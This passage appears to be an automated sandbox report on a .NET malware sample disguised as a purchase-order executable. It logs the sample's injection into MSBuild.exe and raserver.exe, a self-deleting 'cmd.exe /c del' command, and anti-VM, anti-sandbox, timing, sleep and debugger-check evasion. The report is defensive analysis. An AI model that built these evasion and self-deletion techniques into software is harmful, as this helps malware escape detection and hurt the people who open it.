File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Purchase Order 40,7045$.exe.log

Jump to behavior

Creates mutexes

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6268:120:WilError_01

PE file has an executable .text section and no other executable section

Source: Purchase Order 40,7045$.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Parts of this applications are using the .NET runtime (Probably coded in C#)

Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Reads software policies

Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

SQL strings found in memory and binary data

Source: Purchase Order 40,7045$.exe, 00000000.00000000.253166993.0000000000812000.00000002.00020000.sdmp

Binary or memory string: UPDATE [sms].[dbo].[person]set email=@email, street=@street, city=@city, district=@district, zip=@zip WHERE id=;Student Information updated!!

Sample is known by Antivirus

Source: Purchase Order 40,7045$.exe

ReversingLabs: Detection: 18%

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\Purchase Order 40,7045$.exe 'C:\Users\user\Desktop\Purchase Order 40,7045$.exe'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe {path}
Source: unknown	Process created: C:\Windows\SysWOW64\raserver.exe C:\Windows\SysWOW64\raserver.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe {path}			Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe'			Jump to behavior

Uses Microsoft Silverlight

Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

PE file contains a COM descriptor data directory

Source: Purchase Order 40,7045$.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

PE file has a big code size

Source: Purchase Order 40,7045$.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Submission file is bigger than most known malware samples

Source: Purchase Order 40,7045$.exe

Static file information: File size 1269760 > 1048576

PE file has a big raw section

Source: Purchase Order 40,7045$.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x135800

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: Purchase Order 40,7045$.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Binary contains paths to debug symbols

Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: raserver.exe, 00000006.00000002.521945059.00000000009EC000.00000004.00000020.sdmp
Source:	Binary string: wntdll.pdbUGP source: MSBuild.exe, 00000001.00000002.289628195.00000000014C0000.00000040.00000001.sdmp, raserver.exe, 00000006.00000002.522839886.00000000047B0000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: MSBuild.exe, raserver.exe
Source:	Binary string: RAServer.pdb source: MSBuild.exe, 00000001.00000002.289540169.0000000001229000.00000004.00000020.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdbD source: raserver.exe, 00000006.00000002.521945059.00000000009EC000.00000004.00000020.sdmp
Source:	Binary string: RAServer.pdbGCTL source: MSBuild.exe, 00000001.00000002.289540169.0000000001229000.00000004.00000020.sdmp

Data Obfuscation:

.NET source code contains potential unpacker

Source: Purchase Order 40,7045$.exe, a?opP?s???y/WD??v?aA?O.cs	.Net Code: ????????????????????????????????????????? System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.Purchase Order 40,7045$.exe.810000.0.unpack, a?opP?s???y/WD??v?aA?O.cs	.Net Code: ????????????????????????????????????????? System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Code function: 0_2_0130DF50 push eax; ret		0_2_0130DF51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415913 push edx; retf		1_2_00415915
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041AC62 push D8D19732h; iretd		1_2_0041AC69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414D57 push esi; retf		1_2_00414D58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041AD65 push eax; ret		1_2_0041ADB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414DEA push eax; ret		1_2_00414E32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041ADB2 push eax; ret		1_2_0041ADB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041ADBB push eax; ret		1_2_0041AE22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414E7E push eax; ret		1_2_00414E32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041AE1C push eax; ret		1_2_0041AE22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414E24 push eax; ret		1_2_00414E32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040FF92 push 00000033h; iretd		1_2_0040FF98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0153D0D1 push ecx; ret		1_2_0153D0E4
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0482D0D1 push ecx; ret		6_2_0482D0E4
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00675913 push edx; retf		6_2_00675915
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0067AC62 push D8D19732h; iretd		6_2_0067AC69
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0067AD65 push eax; ret		6_2_0067ADB8
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00674D57 push esi; retf		6_2_00674D58
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00674DEA push eax; ret		6_2_00674E32
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0067ADB2 push eax; ret		6_2_0067ADB8
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0067ADBB push eax; ret		6_2_0067AE22
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00674E7E push eax; ret		6_2_00674E32
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00674E24 push eax; ret		6_2_00674E32
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0067AE1C push eax; ret		6_2_0067AE22
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0066FF92 push 00000033h; iretd		6_2_0066FF98

Binary may include packed or encrypted code

Source: initial sample

Static PE information: section name: .text entropy: 7.30520133301

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM_3

Source: Yara match	File source: 00000000.00000002.260021885.0000000002D8D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Purchase Order 40,7045$.exe PID: 6708, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Purchase Order 40,7045$.exe, 00000000.00000002.259984630.0000000002D51000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: Purchase Order 40,7045$.exe, 00000000.00000002.259984630.0000000002D51000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	RDTSC instruction interceptor: First address: 00000000004083D4 second address: 00000000004083DA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	RDTSC instruction interceptor: First address: 000000000040876E second address: 0000000000408774 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\raserver.exe	RDTSC instruction interceptor: First address: 00000000006683D4 second address: 00000000006683DA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\raserver.exe	RDTSC instruction interceptor: First address: 000000000066876E second address: 0000000000668774 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004086A0 rdtsc

1_2_004086A0

Contains long sleeps (>= 3 min)

Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe TID: 6740	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe TID: 6712	Thread sleep time: -41500s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe TID: 6728	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\explorer.exe TID: 6596	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe TID: 6136	Thread sleep time: -52000s >= -30000s			Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\SysWOW64\raserver.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\raserver.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: Purchase Order 40,7045$.exe, 00000000.00000002.260399670.000000000309F000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: explorer.exe, 00000003.00000000.274132486.0000000008270000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000003.00000000.274511209.000000000891C000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: Purchase Order 40,7045$.exe, 00000000.00000002.259984630.0000000002D51000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: Purchase Order 40,7045$.exe, 00000000.00000002.259984630.0000000002D51000.00000004.00000001.sdmp	Binary or memory string: l%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000003.00000000.265134044.0000000003767000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00
Source: Purchase Order 40,7045$.exe, 00000000.00000002.259984630.0000000002D51000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: explorer.exe, 00000003.00000002.522311765.00000000011B3000.00000004.00000020.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
Source: Purchase Order 40,7045$.exe, 00000000.00000002.260399670.000000000309F000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000003.00000000.274567797.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
Source: explorer.exe, 00000003.00000002.531888786.00000000053D7000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
Source: explorer.exe, 00000003.00000000.274132486.0000000008270000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000003.00000000.274132486.0000000008270000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000003.00000000.274567797.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
Source: Purchase Order 40,7045$.exe, 00000000.00000002.259984630.0000000002D51000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: Purchase Order 40,7045$.exe, 00000000.00000002.260399670.000000000309F000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: Purchase Order 40,7045$.exe, 00000000.00000002.260399670.000000000309F000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: Purchase Order 40,7045$.exe, 00000000.00000002.260399670.000000000309F000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: Purchase Order 40,7045$.exe, 00000000.00000002.259984630.0000000002D51000.00000004.00000001.sdmp	Binary or memory string: l"SOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000003.00000000.274132486.0000000008270000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Queries a list of all running processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Checks if the current process is being debugged

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process queried: DebugPort			Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004086A0 rdtsc

1_2_004086A0

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00409900 LdrLoadDll,

1_2_00409900

Contains functionality to read the PEB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B944 mov eax, dword ptr fs:[00000030h]		1_2_0150B944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B944 mov eax, dword ptr fs:[00000030h]		1_2_0150B944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014EC962 mov eax, dword ptr fs:[00000030h]		1_2_014EC962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014EB171 mov eax, dword ptr fs:[00000030h]		1_2_014EB171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014EB171 mov eax, dword ptr fs:[00000030h]		1_2_014EB171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014E9100 mov eax, dword ptr fs:[00000030h]		1_2_014E9100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014E9100 mov eax, dword ptr fs:[00000030h]		1_2_014E9100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014E9100 mov eax, dword ptr fs:[00000030h]		1_2_014E9100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151513A mov eax, dword ptr fs:[00000030h]		1_2_0151513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151513A mov eax, dword ptr fs:[00000030h]		1_2_0151513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01504120 mov eax, dword ptr fs:[00000030h]		1_2_01504120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01504120 mov eax, dword ptr fs:[00000030h]		1_2_01504120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01504120 mov eax, dword ptr fs:[00000030h]		1_2_01504120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01504120 mov eax, dword ptr fs:[00000030h]		1_2_01504120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01504120 mov ecx, dword ptr fs:[00000030h]		1_2_01504120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014EB1E1 mov eax, dword ptr fs:[00000030h]		1_2_014EB1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014EB1E1 mov eax, dword ptr fs:[00000030h]		1_2_014EB1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014EB1E1 mov eax, dword ptr fs:[00000030h]		1_2_014EB1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015741E8 mov eax, dword ptr fs:[00000030h]		1_2_015741E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01512990 mov eax, dword ptr fs:[00000030h]		1_2_01512990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150C182 mov eax, dword ptr fs:[00000030h]		1_2_0150C182
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151A185 mov eax, dword ptr fs:[00000030h]		1_2_0151A185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015651BE mov eax, dword ptr fs:[00000030h]		1_2_015651BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015651BE mov eax, dword ptr fs:[00000030h]		1_2_015651BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015651BE mov eax, dword ptr fs:[00000030h]		1_2_015651BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015651BE mov eax, dword ptr fs:[00000030h]		1_2_015651BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov ecx, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov ecx, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov eax, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov ecx, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov ecx, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov eax, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov ecx, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov ecx, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov eax, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov ecx, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov ecx, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF mov eax, dword ptr fs:[00000030h]		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015669A6 mov eax, dword ptr fs:[00000030h]		1_2_015669A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015161A0 mov eax, dword ptr fs:[00000030h]		1_2_015161A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015161A0 mov eax, dword ptr fs:[00000030h]		1_2_015161A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A49A4 mov eax, dword ptr fs:[00000030h]		1_2_015A49A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A49A4 mov eax, dword ptr fs:[00000030h]		1_2_015A49A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A49A4 mov eax, dword ptr fs:[00000030h]		1_2_015A49A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A49A4 mov eax, dword ptr fs:[00000030h]		1_2_015A49A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01500050 mov eax, dword ptr fs:[00000030h]		1_2_01500050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01500050 mov eax, dword ptr fs:[00000030h]		1_2_01500050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A2073 mov eax, dword ptr fs:[00000030h]		1_2_015A2073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B1074 mov eax, dword ptr fs:[00000030h]		1_2_015B1074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01567016 mov eax, dword ptr fs:[00000030h]		1_2_01567016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01567016 mov eax, dword ptr fs:[00000030h]		1_2_01567016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01567016 mov eax, dword ptr fs:[00000030h]		1_2_01567016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B4015 mov eax, dword ptr fs:[00000030h]		1_2_015B4015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B4015 mov eax, dword ptr fs:[00000030h]		1_2_015B4015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150A830 mov eax, dword ptr fs:[00000030h]		1_2_0150A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150A830 mov eax, dword ptr fs:[00000030h]		1_2_0150A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150A830 mov eax, dword ptr fs:[00000030h]		1_2_0150A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150A830 mov eax, dword ptr fs:[00000030h]		1_2_0150A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014FB02A mov eax, dword ptr fs:[00000030h]		1_2_014FB02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014FB02A mov eax, dword ptr fs:[00000030h]		1_2_014FB02A
